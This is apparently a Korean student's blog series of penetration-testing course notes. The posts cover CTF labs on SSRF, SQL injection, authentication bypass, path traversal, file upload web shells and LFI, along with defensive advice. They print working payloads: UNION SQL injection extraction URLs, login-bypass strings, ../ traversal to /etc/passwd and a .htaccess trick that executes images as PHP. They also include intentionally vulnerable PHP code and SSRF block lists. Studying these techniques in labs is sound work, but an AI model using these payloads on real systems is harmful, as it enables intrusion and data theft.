IT공부방 (정보보안)

모의해킹 취업반 스터디 9기 모의해킹 프로젝트 (2) SSRF

mister jeon — Tue, 10 Mar 2026 21:53:51 +0900

다음은 SSRF 추가 실습을 통해 2가지 사례를 확인하고

대응방안까지 알아보겠습니다.

<실습2>

날씨 관련 페이지이며 관리자 계정으로 로그인을 할 방법이

있는지 확인해보겠습니다.

물론 바로 접속하면 관리자 페이지에 접속이 불가능 합니다.

다음은 날씨 현황을 체크할 수 있는 사이트가 있습니다.

서울 날씨를 확인하면 다음 사진과 같이 날씨 예보를 확인

할 수 있습니다.

burp 에서는 GET 메서드에 Apiurl을 사용자에게 보여주고 있습니다.

이것도 한번 악용하여 날씨관련 관리자 페이지에 접속을 해보겠습니다.

관리자 페이지를 엿볼수 있습니다. 하지만 이 상태로는

계정과 비밀번호를 모르기 때문에 로그인을 할 수 없었습니다.

그래서 URL를 http://127.0.0.1/ssrf_1/admin.php가 아닌

admin.php로 전송을 해보겠습니다.

admin.php로 전송하니 다음과 같이 소스코드가 보였습니다.

<?php
declare(strict_types=1);

require_once __DIR__ . '/../config.php';

header('Content-Type: text/html; charset=UTF-8');

function e(string $value): string
{
    return htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

$remoteAddr = $_SERVER['REMOTE_ADDR'] ?? '';

$allowedIps = ['127.0.0.1', '::1'];
$hasValidToken = hash_equals(appSsrf1InternalToken(), requestInternalToken());

if (!in_array($remoteAddr, $allowedIps, true) || !$hasValidToken) {
    http_response_code(403);
?>
<!doctype html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin 접근 차단</title>
    <style>
        body {
            margin: 0;
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Noto Sans KR", sans-serif;
            background: #0f172a;
            color: #e2e8f0;
            min-height: 100vh;
            display: grid;
            place-items: center;
        }
        .box {
            width: min(720px, calc(100vw - 40px));
            background: #1e293b;
            border-radius: 16px;
            padding: 28px;
        }
        h1 { margin: 0 0 10px; }
        p { margin: 0; color: #94a3b8; line-height: 1.6; }
    </style>
</head>
<body>
<section class="box">
    <h1>403 Forbidden</h1>
    <p>
        허용되지 않은 IP 주소입니다.<br>
        현재 접속 IP: <?= e($remoteAddr !== '' ? $remoteAddr : 'unknown') ?>
    </p>
</section>
</body>
</html>
<?php
    exit;
}

$dbHost = getenv('DB_HOST') ?: 'ctf-db';
$dbUser = getenv('DB_USER') ?: 'ctfuser';
$dbPass = getenv('DB_PASS') ?: 'ctfpass';
$dbName = getenv('DB_NAME') ?: 'CtfDB';

$username = (string)($_REQUEST['username'] ?? '');
$password = (string)($_REQUEST['password'] ?? '');

$message = null;
$isSuccess = false;
$note = '';

if ($username !== '' || $password !== '') {

    $conn = @new mysqli($dbHost, $dbUser, $dbPass, $dbName);

    if ($conn->connect_error) {
        $message = 'DB 연결 실패: ' . $conn->connect_error;
    } else {

        $sql = "
            SELECT username, role, secret_note
            FROM admin_users
            WHERE username='$username'
              AND password='$password'
            LIMIT 1
        ";

        $result = $conn->query($sql);

        if ($result && $result->num_rows > 0) {
            $row = $result->fetch_assoc();
            $isSuccess = true;
            $message = '로그인 성공';
            $note = (string)($row['secret_note'] ?? '');
        } else {
            $message = '로그인 실패';
        }

        $conn->close();
    }
}
?>
<!doctype html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Login</title>
</head>
<body>
    <!-- 기존 스타일 유지 가능 -->
</body>
</html>

이중 SQL 쿼리문에 Where username = '$username'

AND password ='$password' 이 부분에 SQL Injection 취약점이

있다는 것 을 알게되었습니다.

그래서 로그인 방법이 SQL injection를 이용한 URL를 다음과 같이

서버에 요청을 합니다.

http://127.0.0.1/ssrf_1/admin.php?username=admin'or'1'='1--&password=password

그 결과 로그인에 성공 할 수 있었으며 플래그도 확보 할 수 있었습니다.

실습 2에서는 SSRF + SQL Injection 연계한

관리자 페이지에 접속이 었습니다.

<실습3>

다음은 헬스장에 관리지 페이지를 발견한 것 같습니다. 하지만 에러페이지와 함께 접속이 안되는 상황입니다.

다음 간단한 헬스 페이지를 구현한 모습입니다.

burp에서는 apiurl로 사용자에게 보여지고 있습니다.

SSRF 취약점을 이용하여 dashborad.php를 확인하겠습니다.

Apiurl에 http://127.0.0.1/ssrf_3/dashborad.php 요청한 결과

127.0.0.1이 블랙리스트로 필터링이 되어있는 것 같습니다.

그래서 우선 http://0.0.0.0/ssrf_3/dashboard.php 수정해서 dashboard.php를 활성화 시켜봤습니다. 그리고 나서 .dashboard.php

수정 요청해봤습니다.

확인하고 보니

$q = (string)($_GET['q'] ?? ''); 코드에 UNION SQL Injection

이 가능하도록 설계가 되있는 페이지인것 같습니다.

[취약한 쿼리문]

$sql = "SELECT id, service_name, health_status
FROM monitor_targets
WHERE service_name LIKE '%$q%'
ORDER BY id

[공격 Payload]

' UNION SELECT (SQL 쿼리문), null, null and '1%' like '1

[DB 이름 추출]

%' UNION SELECT (select database()), null, null and '1%' like '1

기존 http://0.0.0.0/ssrf_3/dashboard.php에 ?q= 데이터에

DB 이름을 추출 할 수 있는 페이로드를 사용합니다.

http://0.0.0.0/ssrf_3/dashboard.php?q=%'+UNION+SELECT+(select+database()),+null,+null+and+'1'+like+'1

하지만 이대로 사용하면 요청 실패로 나오게 됩니다.

이유는 URL 에서 문자가 그대로 들어가는 것 을 허용하지 않기 때문에

인코딩을 사용하여 URL에 다시 요청 해야합니다.

[인코딩이 적용된 DB 이름 추출]

http%3A%2F%2F0.0.0.0%2Fssrf_3%2Fdashboard.php%3Fq%3D%25%27%2BUNION%2BSELECT%2B(select%2Bdatabase())%2C%2Bnull%2C%2Bnull%2Band%2B%271%27%2Blike%2B%271

DB 이름 CtfDB_SSRF3를 추출하였습니다.

[테이블 이름 찾기]

기존 공격 페이로드에 테이블 이름 찾는 코드와 DB이름을 추가하여

테이블 이름을 추출합니다. [인코딩 필수]

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'CtfDB_SSRF3' LIMIT 0, 1
--->
http://0.0.0.0/ssrf_3/dashboard.php?q=%'+UNION+SELECT+(SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=+'CtfDB_SSRF3'+LIMIT+0,+1),+null,+null+and+'1%'+like+'1

테이블 이름 [incident_vault]

[컬럼 이름 찾기]

역시 기존 공격 컬럼 이름 코드와 테이블 이름을 추가하여

컬럼을 추출 합니다.

컬럼 이름 0 : id, 1 : memo, 2 : severity

%'+UNION+SELECT+(select+column_name+from+information_schema.columns+where+table_name=+'incident_vault'+LIMIT+0,+1),+null,+null+and+'1%'+like+'1
---->
http://0.0.0.0/ssrf_3/dashboard.php?q=%'+UNION+SELECT+(select+column_name+from+information_schema.columns+where+table_name=+'incident_vault'+LIMIT+0,+1),+null,+null+and+'1%'+like+'1

[데이터 추출]

테이블 이름과 과 컬럼 이름을 찾았습니다.

마지막으로 FLAG 데이터를 추출해보겠습니다.

%' UNION SELECT (select memo from incident_vault), null, null and '1%' like '1
---->
http://0.0.0.0/ssrf_3/dashboard.php?q=%' UNION SELECT (select memo from incident_vault), null, null and '1%' like '1

드디어 SSRF3의 원하는 데이터를 찾을 수 있었습니다.

마지막으로 SSRF 대응방안으로 SSRF 마무리 해보겠습니다.

[SSRF 대응 방안]

1. 외부 요청에 대해 사전에 허용된 URL 이나 IP 주소를

화이트리스트로 정의하여 허용된 대상에만 접근이

가능하도록 설정 해야합니다.

2. 내부 네트워크 대역 및 관리용 포트에 대한 요청을 감지하고 차단

[차단 IP]

구분	IP 대역	설명
Loopback	127.0.0.0/8	로컬호스트(자기 자신)
Private Class A	10.0.0.0/8	사설망 대역
Private Class B	172.16.0.0/12	사설망 대역
Private Class C	192.168.0.0/16	사설망 대역
Link-Local	169.254.0.0/16	로컬 네트워크 자동 설정 대역
IPv6 Loopback	::1	IPv6 로컬호스트
IPv6 Unique Local	fc00::/7	IPv6 사설망 대역

[포트서비스설명]

포트	서비스	설명
22	SSH	원격 서버 접속
3306	MySQL	데이터베이스
6379	Redis	인메모리 DB
9200	Elasticsearch	검색 엔진 / 로그 서버
11211	Memcached	캐시 서버

3. URL 접근에 실패할 경우 사용자에게 에러 정보나 응답값을

노출하지 않고, 일반적인 에러메시지 출력

bad Ex) Connection refused at 127.0.0.1:3306

GOOD EX) 요청 처리 중 오류가 발생했습니다.

4. http, https 외의 다른 프로토콜 (FTP, SMB, SMTP 등)과

URL 스키마(file://, gopher://, data://, dict:// 등)에 대한 접근을

차단해야 하며, 내부 호스트명이 외부에 노출되지 않도록 DNS 설정을 조정

구분	프로토콜	설명
허용	http://	일반 웹 통신 프로토콜
허용	https://	암호화된 웹 통신 프로토콜

구분	프로토콜/스키마	위험 요소
차단	file://	서버 내부 파일 접근 가능 (로컬 파일 유출 위험)
차단	gopher://	Redis 등 내부 서비스 공격에 악용 가능
차단	ftp://	내부 네트워크 스캔 및 파일 접근 위험
차단	dict://	포트 스캔 및 내부 서비스 탐지 가능
차단	data://	임의 데이터 삽입 및 우회 공격 가능
차단	php://	PHP 내부 스트림 접근 악용 가능
차단	smb://	내부 네트워크 공유 자원 접근 위험

5. 애플리케이션 서버와 중요 내부 시스템간 네트워크 분리를 통하여

불필요한 통신을 제한하여 권한 없는 접근 과 외부로부터의

직접적인 접근을 방지

하지만 URL 미리보기 서비스, 웹 크롤러 서비스, RSS 수집기,

외부 API 연동 플랫폼일 경우 화이트리스트를 적용할 경우

서비스에 제한이 생길 가능성이 있습니다.

그래서 블랙리스트 필터링을 적용할 수 밖에 없습니다.

1. 내부망 IP 차단

2. 메타데이터 IP 차단

3. 프로토콜 제한

4. Outbound 방화벽 제한

5. 리다이렉트(Redirect) 재 검증

모의해킹 취업반 스터디 9기 모의해킹 프로젝트 (1) SSRF

mister jeon — Mon, 9 Mar 2026 17:11:54 +0900

지금부터는 모의해킹 프로젝트 기간이며 취약점을 찾는거

뿐만 아니라 보고서 작성까지 실습하는 시간이 되겠습니다.

그래서 이번 주차에는 모의해킹 프로젝트 준비 및

프로젝트 사이트 취약점 찾고 보고서를 작성하는 준비하는

시간이 되겠습니다.

일단 모의해킹을 진행할 때는 그냥 취약점을 찾는다 라는

느낌이 아니라 기준을 가지고 취약점을 먼저 찾습니다.

기준은 2가지가 있으며 KISA(한국인터넷진흥원)의

주통기반 (주요통신기반시설 기술적 취약점 분석 평가 상세 가이드)

금융보안원의 금취분평 (금융취약분석평가 )이 있습니다.

이중 저는KISA(한국인터넷진흥원)의 주통기반에 대해

알아보겠습니다. 주통기반은 최근 25년 12월 24일

개정이 되었으며 2026년도에는 조금 바뀌거나 추가 되는

모습을 보이고 있습니다. 총 864페이지 정도 되며 이중

676 쪽 ~ 786쪽까지 Web Application (웹)에 해당되는

부분이 되겠습니다.

웹 부분의 취약점 점검 항목은 21가지가 되겠으며

제가 스터디에서 배운 SQL 인젝션, XSS (크로사이트 스크립팅),

CSRF (크로스사이트 요청 변조) 파일 업로드 다운로드,

인증인가 취약점까지 항목에 공부를 진행 해왔습니다.

이제 주통기반을 정독 및 숙지하면서 모르는 부분을 체크해보겠습니다.

SSRF (서버 사이트 요청 변조) 개념에 대해 알아보겠습니다.

SSRF (Server Side Request Forgery)

공격자가 요청 정보를 조작하여 웹서버가 내부서버에 조작된

요청을 하도록하여 정보를 탈취하거나 악의적인 행위를

수행하는 취약점 입니다.

* 내부에서만 사용하는 127.0.0.1 주소로 액세스 하여 내부 정보에 접근

SSRF 공격은 CSRF (크로스사이트 요청 변조) 공격

보다 훨씬 위험합니다. 이유는 CSRF 피해자가

서버로 임의의 요청을 보내게 만드는 공격

발생 주체가 클라이언트 (사용자)이며 공격 대상자 중 관리자

권환이 존재한다면 전체 애플리케이션에 침해될 수 있습니다.

반면 SSRF 공격은 중간에 사용자를 개입시킬 필요가 없이

* 웹 서버 자체를 노리기 때문에 악성 요청을 서버에 보내는 것

만으로도 정보를 탈취하거나 악의적인 행위를 수행이 가능합니다.

다음은 실습을 통해 SSRF 공격에 대해 알아보겠습니다.

<실습1>

관리자 페이지 접근을 해야합니다.

바로 관리자페이지에 접속을 하면 403에러 페이지가 나오게 되고

접속이 되지를 않습니다.

다음은 주어진 사이트에 접속을 해봤는데 제고 관리하는 사이트입니다.

제고체크를 진행하니 42개 남았다고 써져있네요.

Burp에서는 제고관리 체크를 진행할떄 apiurl을 체크하는

것 같습니다. 이 페이지를 악용해보겠습니다.

우선 Aplurl에 관리자 사이트에 넣어보니 요청 실패라고 되어있지만

서버주소를 127.0.0.1로 변경 했을 때 관리자 페이지에 접근할 수

있었으며 플래그도 획득 할 수 있었습니다.

이는 사용자에게 전달한 파라미터에 URL이 있을 때

이를 악용하는 공격자가 위조된 요청을 통해 다른 서비스를 연결을

유도한 것 입니다. 즉 사용자로부터 입력받은 URL 파라미터에 대한

검증이 미흡으로 서버 측 요청을 조작할 수 있는 공격입니다.

다음 실습으로 넘어가서 추가로 사례와 대응방안에

대해 알아보겠습니다.

모의해킹 취업반 스터디 9기 16주차 (2) 인증/인가 취약점

mister jeon — Tue, 3 Feb 2026 23:45:34 +0900

< 16주차 >

인증/인가 취약점에 대해 알아보겠으며 실습을 통해

사례를 알아보겠습니다. 우선 기본적인 용어는

접근 통제는 식별 > 인증 > 인가 3단계 원칙으로 하며

. 식별 : 본인이 누구라는 것을 시스템에 밝히는 것

. 인증 : 본인이 주장하는 사용자가 맞다라는 것을

시스템에 증명하는 것 (신원확인)

. 인가 : 무엇을 할 수 있는가? EX) 너 관리자 권한 맞아 ???

이 중에 인증/인가에 대해 더 자세히 알아보겠습니다.

서버가 클라이언트를 믿는 경우 어떻게 되는지 알아보겠습니다.

<parc1> 페이지 변조

burp에서 확인한 결과 메서드 부분에 로그인 시 GET /part3/prac1/mypage.php?id=58 .

사용자 id를 지정하는 방식을 사용하고 있었습니다

이것도 조작이 가능한지 알아보겠습니다.

GET /part3/prac1/mypage.php?id=1 으로 하니

user1의 계정을 볼 수 있었으며 ID 번호 추가 검색 결과

이는 서버가 세션 아디로 판단 하는것이 아닌

id 번호로만으로 판단을 했다라는 것이 원인입니다.

<parc2> 쿠키 변조

이번에는 비슷한 마이페이지에서 admin 계정을 볼 수 있을까??

burp에서 확인한 결과uinfo=eyJpZCI6NTcsImxvZ2luX3RpbWUiOiIyMDI2LTAyLTAz

VDE0OjAzOjAxKzAwOjAwIiwiaXAiOiIyMTEuMjI1LjE1LjM0In

0%3D; 수상하게 보였습니다. 이를 decoder 기능으로 확인한 결과

{"id":57,"login_time":"2026-02-03T14:03:01+00:00","ip":"211.225.15.34"}%3D

볼 수 있었습니다. 이를 admin 관리자로 바꾸어 적용해보니

관리자 페이지도 볼 수 있었습니다. 이는 쿠키 변조를 사용하는

방법입니다. 이 또한 세션id를 체크하여 관리자 페이지에

접근 할 수 없도록 해야하는데 이 기능이 아닌 uinfo= 기능에

의존하여 발생하는 취약점이 되겠습니다.

<parc3> User-Agent 변조

현재에는 관리자 페이지에는 접근 할 수 없다라고 되어있습니다.

이 클라이언트에서는 관리자 페이지를 볼 수 없다라고 되어있는데

burp 에서 User-Agent 지워보도록 하겠습니다.

이는 User-Agent 기반으로 관리자 페이지의 접속을 판단 한다는

것 인데 일반적으로는 User-Agent 지울 경우 특정한 페이지가

보이면 안되도록 설계를 해야하지만 구성을 안했을 경우

웹 서버에서 특정 페이지를 보여주는 경우가 있습니다.

<parc4>memu.php 변조

parc4 CTF 문제는 특정 사이트를 burp로 확인결과

mypage.php말고 memu.php가 있습니다.

isAdmin":false ? 라고 표기가 되었있습니다. 이것을 true라고

바꿔주면 어떻게 될까요?

admin.php가 보여지게 됩니다.

실제 페이지에서도 admin 메뉴가 추가되는 모습입니다.

이는 관리자등 어떠한 메뉴를 요청을 할때 검증을 하지않아

발생되는 취약점이며 항상 특정 페이지를 요청할때는

세션ID 기반을 이용하여 사용해야겠다는 생각이 들었습니다.

모의해킹 취업반 스터디 9기 16주차 (1) 파일 업로드/ 다운로드 대응방안

mister jeon — Tue, 3 Feb 2026 22:17:37 +0900

< 16주차 >

이전 주차까지 실습을 진행하면서 파일 업로드와

다운로드의 취약점에 대해 알아보았습니다.

이제 두 가지의 대응방안에 대해 알아보겠습니다.

파일 업로드의 근본적인 원인은 서버가 파일을

제대로 검증하지 않고 아무 파일을 올리는게 문제가 되며

그리고 웹 서버 측 파일 실행을 막기 위해서는

3가지 대응방안이 있습니다.

> 파일 서버 분리 !! 가장 중요 리소스 파일을 따로 관리 필요

> DB에 파일을 저장

> 파일 이름을 분리 (DB 자장) / 파일 이름 변경 (확장자 제거)

서버 측에서 실행 될 수 없는 파일 서버에 저장하여

분리를 하게 된다면 서버 측이 실행되는 파일을 막을 수 있습니다.

두번 째 대응방안인 DB에 파일을 저장하는 방법입니다.

주로 BLOB, CLOB라고 하는데 BLOB는 이미지나,

비디오, 사운드 파일 등과 같이 데이터 형식으로

저장하여 사용됩니다. CLOB는 문자열 형식의 큰 데이터를

저장하는데 사용되며 일반적으로 텍스트 데이터로 저장합니다.

마지막 대응방안은 파일 이름을 분리 (DB 자장) /

파일 이름 변경 (확장자 제거) 방식 입니다. 이 방식은

파일 이름을 분리하여 DB 자장는데 파일이름을

랜덤한 난수값으로 저장하게 합니다.

EX) Hello.php >> DB 저장 >> fjgFGKxfv148ghjh

이렇게 저장하고 파일을 다운로드를 받을 때 \

fjgFGKxfv148ghjh 경로에서 Hello.php 가져오게

되는 것 입니다.

다음은 파일다운로드 대응방안 입니다.

> DB에 파일 업로드 경로를 저장하고 파일 번호1 > 위험성 있음

DB에 파일 업로드 경로를 저장하고 파일 번호를 지정하여

파일 다운로드 시 file.php 이런 식이 아닌 파일 번호를

download?file=1 이런식으로 받아 다른 파일을 받을

수 없게 만드는 것 입니다. 하지만 위험성이 있습니다.

* 위험성

파일 업로드 경로에 ../../../../../etc/passwd

저장하게 된다면 실제로 ../../../../../etc/passwd

경로에 있는 파일이 다운로드 되는 경우가 있습니다.

두번째 위험성은 해당 서버에 SQL Injection이 일어날 경우

파일 업로드 경로를 가져오는 방법이 있습니다.

이런 위험성 때문에 파일 업로드 했던 방식처럼

파일 서버 분리하는 방법이나 DB에 파일을

저장하는 방법을 이용해야 되겠습니다.

즉 웹 서버에 파일을 저장하고 관리하는 것은 위험하니

이런 리소스 파일은 따로 관리하는 것이 안전합니다.

모의해킹 취업반 스터디 9기 15주차 파일 다운로드 취약점

mister jeon — Sat, 24 Jan 2026 00:17:00 +0900

< 15주차 >

이번 15주차 때는 파일 다운로드 취약점에

대해 정리 해보고 실습을 진행하겠습니다.

파일 다운로드 취약점은 파일 다운로드 기능의

이용하여 서버의 홈 디렉터리를 벗어나 임의의 위치에

있는 파일을 열람하나 (passwd) 다운 가능한 취약점 입니다.

만약 어떤 서버에서 사용자가 다운로드 기능을 사용 시

임의의 파일 EX) /etc/passwd 파일을 가져오려고 했을 때

파일을 다운로드 하기 전 이 사용자가 /etc/passwd를

가질 수 있는 사람인지 아닌지 검증을 우선 해야한다.

EX) 계정 권한 설정 등

만약 이런 설정이 되지 않았을 때는 아무 사용자가 파일을 요청하여

가져올 수 있는 위험한 취약점 입니다.

임의의 사용자 (공격자)가 다운로드 취약점 뭐할 수 있을까??

1. 소스코드를 가져올 수 있습니다. 이를 통해 DB 계정정보를

가져올 수도 있으며 이를 이용해 데이터베이스에 있는

정보도 가져올 수 있습니다. (2차 공격 활용)

2. /etc/passwd 열람할 수 있다면 계정 정보 및 어떤

서비스가 설치 되어있는지 알 수 있습니다.

지금 부터 실습을 통해 좀 더 알아보겠습니다.

< 실습문제 1 >

Get Flag File 이라는 문제가 있으며

flag 파일을 얻어내면 되는 문제입니다.

test123 계정을 설정하여 접속해봤습니다.

게시판 부터 하나씩 점검을 해보겠습니다.

먼저 업로드 및 다운로드 기능에 이상있는지 burp 에서 체크 해보겠습니다.

실습 서버/index.php?page=download&filePath=/var/www/html/uploads/2_test.txt

일단 다운로드 받는 경로는 이렇게 됩니다.

일단 파라미터를 보았을 때 파일이름을 붙여주고 있는데

서버에서는 download('/uploads/'.$_GET['filePath'])

이런식으로 구성 되어 있지 않을 까 생각이 듭니다.

저는 ../../../../../../../../flag_txt 디렉토리 탐색을 이용하여

제가 원하는 파일을 열람을 할 수 있는지

테스트를 진행 해보겠습니다.

처음 filePath=uploads/../../../../../../../../flag_txt ? 경로를 작성하여

테스트를 진행해본 결과 파일이 존재하지 않거나 권한이 제한된다고 합니다.

그러나 filePath=../../../../../../../../flag_txt ? flag가 보이는 모습입니다.

아마 uploads 디렉토리에 열람 할 수 있는 권한이 있지만

filePath=../../../../../../../../flag_txt 했을 때는 우회가 되는 모습 입니다.

< 실습문제 2>

두 번 째 Get Flag File 2 이라는 문제가 있으며

flag 파일을 얻어내면 되는 문제입니다.

test123 계정을 설정하여 접속해봤습니다.

게시판 부터 하나씩 점검을 해보겠습니다.

정상 파일을 업로드하여 다운로드까지 테스트를 진행 해보았습니다。

실습 서버/index.php?page=download&filePath=uploads/1_test.txt

파일경로는 다음과 같이 구성 되있는 모습입니다.

다음은 파일 다운로드 기능을 이용하여 취약점이 존재하는지

테스트를 해보겠습니다.

진행결과 파일이 존재하지 않거나 접근 권한이 없다고 합니다.

아마 ../ 가 필터링이 되어있는 것 같습니다.

그래서 ./ .../ 를 이용하여 우회를 하여 /etc/passwd를 가져오게 되었습니다.

Get Flag File 2도 Falg를 획득 하였습니다.

모의해킹 취업반 스터디 9기 14주차 파일 업로드 취약점 (feat LFI)

mister jeon — Thu, 22 Jan 2026 23:54:30 +0900

< 14주차 >

오늘은 파일 업로드 취약점에 대해 알아보겠습니다.

파일업로드 취약점은 공격자(해커)가 원하는 파일을

서버에 업로드하는 공격이며 웹 서버가

가질 수 있는 가장 치명적인 취약점 입니다.

즉 공격자가 웹 서버에 악의 적인 파일 (Web Shell)

을 전송하고, 원격지에서 해당 파일을 실행하여

웹 서버를 장악하여 내부 침투 공격을 수행할 수

있기 때문입니다.

web shell은 웹 서버에서 실행되는 웹 서버 측 스크립트이며

JSP, ASP, PHP 등 웹 서버에 실행하여 관리자 권한을

획득하는 공격 방법입니다.

지금부터 실습을 통해 좀 더 자세히 알아보겠습니다.

실습 사이트에서 진행하는데 먼저 test123 이라는

계정을 생성 했습니다.

test.php 미리 생성하고 게시판에서 파일 업로드 취약점이 있는지

테스트 해보겠습니다. 여기서 중요한 점은 내가 올린 파일이

어디에서 실행이 되는지(저장이 되는지) 확인 해야하며

즉 어디에 업로드가 되는지를 꼭 확인해봐야 합니다.

php 파일이 실행되는 조건이 있습니다.

1. WAS 위치에 있어야된다.

(서버마다 파일을 보관하는 위치가 다르기 때문에)

2. 업로드 경로를 찾아내야한다. WEB 경로

Ex) 서버에 /user_file , /root_file이 존재하고

제가 업로드한 파일이에 /user_file 올라갔다고

한다면..... 아무리 ../../올라간다 한들 root 경로가

존재하기 때문에 /etc/passwd를 볼 수가 없습니다.

그렇기 때문 업로드 경로를 찾아내야한다.

하지만 업로드 경로를 찾는게 쉽지만은 않습니다.

그래서 정상 파일을 올려봐서 어디에 업로드 되는지 확인합니다.

** 업로드한 파일을 다운로드

<기본문제>

실습서버 /download.php?file=test.php&target_Dir=./file/uploads

여기서 자세히 보게 되면 다운로드 출처를 알 수 있으며

/file/uploads 디렉토리가 있습니다. 여기가 바로 업로드 경로 입니다.

/file/uploads/test.php 테스트를 진행한 결과 잘 보여지고 있습니다.

이제 web shell 코드를 올려봅시다.

test123.php (web shell) 파일을 올려보겠습니다.

/file/uploads/test123.php 올라가있는지 확인했으며

파일 업로드 취약점을 이용하여 cmd 명령어를 사용했으며 그로인해

서버 id를 확인했으며 서버까지 접근한 것을 확인했습니다.

<CTF FWeb Shell 1>

파일 업로드 취약점을 이용하여 flag.txt 파일을 찾아보겠습니다.

역시 실습 사이트에서 진행하는데 먼저 test123 이라는

계정을 생성 했습니다.

먼저 정상적인 파일 test.php 올려보았습니다.

업로드한 경로를 찾아보겠습니다.

index.php?page=download&filePath=/var/www/html/uploads/243_test.php

여기서 중요한 것은 /var/www/html/uploads/243_test.php

이 부분인데 웹 경로에 저장이 되어있는 모습입니다.

다음은 burp suite /uploads/243_test.php

적용한 결과 잘 적용되는 모습입니다.

이제 test123.php(web shell) 적용해보겠습니다.

test123.php(web shell) 적용한 결과 cmd 명령어까지 사용할 수 있었습니다.

이제 flag.txt 파일을 찾아보겠습니다.

find 및 cat 명령어를 이용하여 flag를 찾았습니다.

Web Shell 1의 문제점은 업로드 되는 파일을 검증하지

않았기 때문에 발생되는 원인 이었습니다.

업로드 되는 파일을 검증해야 공격자가 web shell

통한 서버 장악과 데이터 탈취를 막을 수 있습니다.

대응방안에는 블랙 리스트과 화이트 리스트 기반의

필터링이 있습니다. 추천은 화이트 리스트 기반의 필터링이며

이유는 이 후 CTF 문제에서 설명하겠습니다.

CTF 2번부터는 블랙리스트 기반의 필터링을 했을때

나오는 취약점 입니다. 어떤 문제로 인해 취약점이

생기는지 알아보겠습니다.

<CTF Web Shell 2>

블랙리스트 기반 필터링 문제이며 파일 업로드 취약점을

이용하여 flag.txt 파일을 찾아보겠습니다.

먼저 test123 이라는 계정을

생성하여 로그인 하였습니다.

파일 업로드 취약점을 확인하기 위해 php 파일을 올려봤습니다.

하지만 허용되지 않는 확장자라고 합니다.

대응방안 중 하나인 확장자를 검증하는 것 인데...

php 확장자 검증을 진행하여 등록을 못하게 됩니다.

그러나 jpg인 경우 등록이 됩니다?....

저는 content-type jpg를 이용하여

test123.php(web shell) 파일로 수정하였고

content-type 우회를 할 수 있었습니다.

그리고 실행결과 flag 값 까지 얻을 수 있었습니다. 이는

확장자 뿐만 아니라 content-type 검증을 해야하는데

검증을 안했기 때문입니다.

<CTF Web Shell 3>

이번엔 취약점이 있는지 생각하며 flag.txt 파일을 찾아보겠습니다.

기존에 있는 test123 이라는 계정을 로그인 하였습니다.

먼저 취약점 테스트를 하기 위해 정상파일인 test.php 파일을

업로드를 진행해보겠습니다.

여기도 확장자 검증을 진행하고 있습니다. web shell 2번 문제 같이

content-type 검증을 진행하는지 보겠습니다.

등록이 되었습니다. 이제 수정까지 되는지 확인해보겠습니다.

수정까지 안되는 것을 보니 확장자 뿐만 아니라 content-type

검증을 하는 것 같습니다.

그리고 burp sutie에서 intercept 기능 사용하여

.htaccess 파일이 있습니다. 이것을 업로드 할 것 입니다.

.htaccess는 디렉토리 별로 실행할 수 있는 확장자로 지정할수

있으며 Add Type application/x-httpd-php 확장자명으로

활용 할 수 있습니다.

그래서 저는 Add Type application/x-httpd-php .jpg

jpg를 php 로 인식을 시키켜 실행해보겠습니다.

test111.jpg 는 HXD 프로그램에서 웹 쉘 코드를 넣어서

테스트를 진행해보았습니다.

우선 경로를 확인했습니다.

index.php?page=download&filePath=/var/www/html/uploads/309_test11.php.jpg

ＣＴＦ문제 타겟 주소/uploads/308_test111.jpg?cmd=ls

실행결과 ｐｈｐ 코드만 보여주고 실행을 시켜주지 않았습니다.

그래서 ｔｈｅｍｅ＝ｈａｃｋｅｒ.php가 문제인가?

해서 uploads/308_test111.txt 경로로 바꿔서 해보니

include(themes/uploads/308_test111.txt): Failed to open stream: No such file or directory in <b>/var/www/html/index.php

include (themes/uploads/308_test111.txt) 에러가

출력이 되고 있었습니다.

그럼 경로는 themes/uploads/ 된다는 것인데....

include는 다른 파일을 포함시켜 실행시킨다...

라는 의미를 가지고 있습니다.

그럼.txt를...실행시킨다. 라는 의미를 가지고 있습니다.

확인한번 해보겠습니다.

테스트를 하기위해 test.txt라는 파일을 올렸습니다.

여기에는 hello world라는 글 php 코드로 작성 되어있습니다.

버프로 확인한 결과 hello world를 실행시켜서 출력이 된다?

이는 File include 취약점이 있다라고 말씀 드리고 싶습니다.

File include 취약점은 공격자 웹 애플리케이션을 통해

서버 파일을 불러오거나 실행할 수 있게 하는 취약점 입니다.

주로 LFI (loacal file include), RFI remote file include

많이 알려져 있습니다. 이 CTF 문제에서는 LFI 를 이용한 풀이 입니다.

LFI는 Local에 있는 파일을 읽는 공격이며 이를 통해

공격자가 시스템 파일을 탈취하거나 미리 업로드 된

쉘 코드를 Include 시켜 의도한 코드를 실행하게 할 수 있습니다

이제 이 LFI 취약점을 이용하여 FLAG를 탈취하겠습니다.

../uploads/308_test111.txt (webshell) 코드를

실행시키는 모습입니다.

webshell 아니 LFI 취약점을 이용하여 flag를 찾아냈습니다.

모의해킹 취업반 스터디 9기 13주차 CSRF 총 정리

mister jeon — Fri, 9 Jan 2026 21:51:31 +0900

< 13주차 (3) >

오늘은 CSRF 마지막 시간이며 CSRF 방어기법과

우회하는 방법에 대해 CTF 실습을 진행하겠습니다.

저번 시간에 CSRF 대응방안으로 CSRF 토큰을

이용하고 우회하는 방법에 대해 알아보았습니다.

CSRF 토큰은 마이페이지에 접속할떄 주는 hidden

값으로 데이터처리를 요청 받을 때

EX) 비밀번호 변경 등.. CSRF 토큰을 체크하여

요청의 유효성을 검사를 진행합니다.

먼저 CSRF 토큰으로 재 실습 시작해보겠습니다.

계정을 하나 만드는 대신 계정에 해당되는 admin에 접속하는 것 입니다.

test123 계정을 만들었습니다. test123_admin 이라는 계정이 생겼으니

test123_admin 계정을 탈취해보면 될 것 같습니다.

먼저 비밀번호 변경을 해보았는데 CSRF 토큰을

체크를 하고 있었습니다. 저번 시간에도

CSRF 토큰이 완벽하지 않다. 라고 말씀 드렸습니다.

이제 그 이유를 실습을 진행하면서 말씀드리겠습니다.

먼저 XSS 취약점인 게시글 페이지를 찾았습니다.

